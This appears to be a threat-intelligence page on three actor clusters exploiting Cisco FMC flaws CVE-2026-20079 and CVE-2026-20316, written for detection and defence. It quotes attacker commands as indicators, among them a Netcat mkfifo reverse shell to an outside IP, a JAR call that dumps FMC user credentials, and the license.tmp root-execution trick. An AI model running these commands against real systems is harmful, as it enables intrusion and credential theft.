Cisco Secure FMC in-the-wild exploitation: three actor clusters on CVE-2026-20079 / CVE-2026-20316
Summary
On September 9, 2026, Cisco Talos disclosed confirmed in-the-wild exploitation of two Cisco Secure Firewall Management Center (FMC) vulnerabilities and broke the post-compromise activity into three distinct actor clusters, the first time these FMC flaws have been tied to named (Talos-tracked) threat actors rather than the generic "active exploitation" framing of the July CVE-2026-20316 disclosure.
The two flaws:
- CVE-2026-20079 — authentication bypass, CVSS 10.0. An unauthenticated, remote attacker bypasses authentication and executes scripts on the device to obtain root on the underlying OS.
- CVE-2026-20316 — static-credential login into a low-privileged account, CVSS 5.3. Chained with other FMC flaws for privilege elevation; the shared, low-bar initial-access path that all three clusters touch.
Cisco had already released hotfixes for both; Talos flagged a comprehensive hardening release (bundling these hotfixes plus internally discovered vulnerabilities) for the week of September 14. Talos' post is a detection and attribution artifact: it documents who is exploiting these and how, which is what the July disclosure and the CISA KEV entries did not provide.
Tags
- ops
- operations
- Cisco
- Secure Firewall Management Center
- FMC
- CVE-2026-20079
- CVE-2026-20316
- active exploitation
- in the wild
- UAT-12197
- UAT-11823
- UAT-11988
- Cyclops Blink
- Sandworm
- Qilin
- ransomware
- web shell
- JAR command executor
- Netcat reverse shell
- Makeself license.tmp
- living off the land
- package_info.pl
- credential harvesting
- SOCKS5 proxy
- reverse-SSH tunnel
- detection
- CISA KEV
Why this matters
- This is the first actor-attributed, in-the-wild exploitation of the FMC CVE pair, upgrading it from "vendor says it's being exploited" to "here are three clusters and what each one does."
- One of the clusters deploys a variant of Cyclops Blink, previously attributed by the US and UK to the Russian APT Sandworm, and the other operates as a Qilin ransomware affiliate — so a single appliance class now serves both state-sponsored espionage and criminal extortion.
- The recurring pivot across clusters is the
package_info.pl/license.tmpmechanism: a malicious Makeself-stylelicense.tmpfile executed as root during the FMC install/upgrade process. That is both the durable log tell and a reusable attacker technique. - FMC is an internet-reachable management control plane; compromise of it is compromise of the firewall policy and the managed-device inventory.
The two vulnerabilities
CVE-2026-20079 (auth bypass → root, CVSS 10.0)
Unauthenticated, remote authentication bypass that executes scripts to reach root. The initial-access vector for clusters 1 and 2.
CVE-2026-20316 (static low-privilege credential, CVSS 5.3)
Allows a remote attacker to log in with an embedded low-privilege account. Low score on its own, but it is the shared, unguarded entry point — every one of the three clusters uses it, either directly or as part of a chain. It is the flaw with the widest blast radius because it requires no special exploit beyond knowing the static credential path.
See the dedicated CVE-2026-20316 static-credential page for the July disclosure context, affected/unaffected product scope, the /var/tmp/license.tmp triage pivot, and the branch-specific hotfix table. This page adds the in-the-wild actor layer on top.
Cluster 1 — UAT-12197 (web shell + JAR command executor + credential theft)
- Initial access: CVE-2026-20079.
- Drops a JSP-based web shell in the CSM Tomcat webroot.
- The web shell Base64-decodes a parameter labelled
F6C1F0E7(the class name to load in the Java process). - Places a malicious JAR,
cmd[.]jar, in the same directory; the JAR is a command executor that runs/bin/sh -c <command>from its command line. - Uses the JAR to query FMC's internal database for credentials:
/var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e \'SELECT name, auth_data FROM users;\' - Outcome: credential exfiltration.
Cluster 2 — UAT-11823 (APT, high confidence; Sandworm / Cyclops Blink)
- Talos attributes with high confidence to UAT-11823, an APT actor that overlaps in tooling with the Sandworm APT.
- Initial access: CVE-2026-20079 or static credentials (CVE-2026-20316).
- Establishes a Netcat-based reverse shell by replacing the
license.tmpfile on disk with a malicious Makeself copy:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f - The malicious license file is executed as root by the FMC install process:
/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm - Also deploys two bash scripts that harvest managed-device configurations, staged into archives for exfiltration.
- Downloads a modular ELF implant — a variant of Cyclops Blink (previously attributed to Sandworm, a Russian APT actor) from one of its Netcat C2 servers. Documented capabilities:
- persistence scripts in
/etc/init.d/ - DNS-over-HTTPS (DoH) IP resolution
- file administration (download / upload)
- credential harvesting
- arbitrary file and command execution
- network scanning and discovery
- packet sniffing (with optional filters)
Cluster 3 — UAT-11988 (Qilin ransomware operator, high confidence)
- Talos assesses with high confidence this is a ransomware operator, with TTPs consistent with Qilin ransomware affiliates. (Talos credits Avit for contributions to this cluster.)
- Initial access: static credentials via CVE-2026-20316.
- Uses living-off-the-land (LOTL) abuse of legitimate built-in FMC tooling.
- Instrumentation via
package_info.pl: executes an attacker-crafted maliciouslicense[.]tmpfile as root to run reconnaissance: - hostnames, IP addresses, directory listings
- AD service-account and MySQL account credentials
- domain account information
- computer object lists
- hostname→IP mappings spanning domain controllers, ADFS, Exchange, file servers, database servers
- exfiltrated via HTTP GET requests out of files already accessible on the FMC server
- Tunneling into the compromised network: a Python SOCKS5 proxy (
socks5.py) plus a reverse-SSH tunnel from the FMC back to the attacker's host, forwarding: - LDAP (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), WinRM (5985)
- Pre-ransomware actions: extensive endpoint probing, open-source tooling (impacket, Invoke-TheHash), and custom AV killers, then Qilin ransomware deployment on selected endpoints.
Shared tell: the package_info.pl / license.tmp mechanism
Two of the three clusters establish their foothold by planting a malicious license.tmp file and letting the FMC install/upgrade process (package_info.pl ... --lsm) execute it as root. This is the same /var/tmp/license.tmp artifact the July CVE-2026-20316 disclosure used as its triage pivot — now confirmed as an active attacker technique, not just a passive indicator. Hunt for:
- any
license.tmp/license[.]tmpwrite or execution outside a known-good Cisco install/upgrade; package_info.pl ... license.tmpinvocations that are not part of a tracked upgrade;- root processes spawned from the install path that are not part of a Cisco signature.
Detections (Talos-published Snort SIDs)
- CVE-2026-20079: SIDs 66075–66080
- CVE-2026-20316: SID 66883
- Associated malware: SID 66960
Defender actions
- Apply the Cisco hotfixes now. Both CVEs have released on-prem hotfixes; do not wait for the week-of-September-14 hardening release. Verify the installed build.
- Inventory every FMC instance (production, DR, lab, dormant) and identify any internet path to the management interface. Remove public reachability as an immediate stopgap.
- Preserve evidence before cleanup —
/var/log/messages, web-interface and auth logs, install/upgrade history, process and network telemetry. - Hunt the
license.tmp/package_info.plpivot (above) plus the cluster-specific artifacts: JSP web shells +cmd[.]jarin the CSM Tomcat webroot (cluster 1);mkfifo/ncreverse shells and/etc/init.d/persistence + DoH resolution (cluster 2, Cyclops Blink);impacket/Invoke-TheHash/ AV-killer tooling and SOCKS5/reverse-SSH tunneling (cluster 3). - Rotate all FMC user credentials, keys, and certificates from a clean administrative path, because static-credential login is the common entry.
- Treat a match as control-plane compromise — isolate the manager, engage Cisco TAC, and review managed-device policy/object integrity and downstream administrative trust.
- Do not over-attribute. The Sandworm (UAT-11823) and Qilin (UAT-11988) linkages are Talos' assessments; treat them as high-confidence-but-vendor-sourced until corroborated.
Related pages
- Cisco Secure FMC CVE-2026-20316 static-credential exploitation
- CISA KEV September 9, 2026: Citrix NetScaler / Fortinet / Cisco FMC / Chromium
- Cisco Nexus 9000 CVE-2026-20212 unauth root RCE
Sources
- Cisco Talos, "Active exploitation of Cisco Secure Firewall Management Center vulnerabilities," September 9, 2026: https://blog.talosintelligence.com/fmc-ongoing-exploitation/
- CISA Known Exploited Vulnerabilities catalog: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
- NVD CVE-2026-20079 / CVE-2026-20316 records.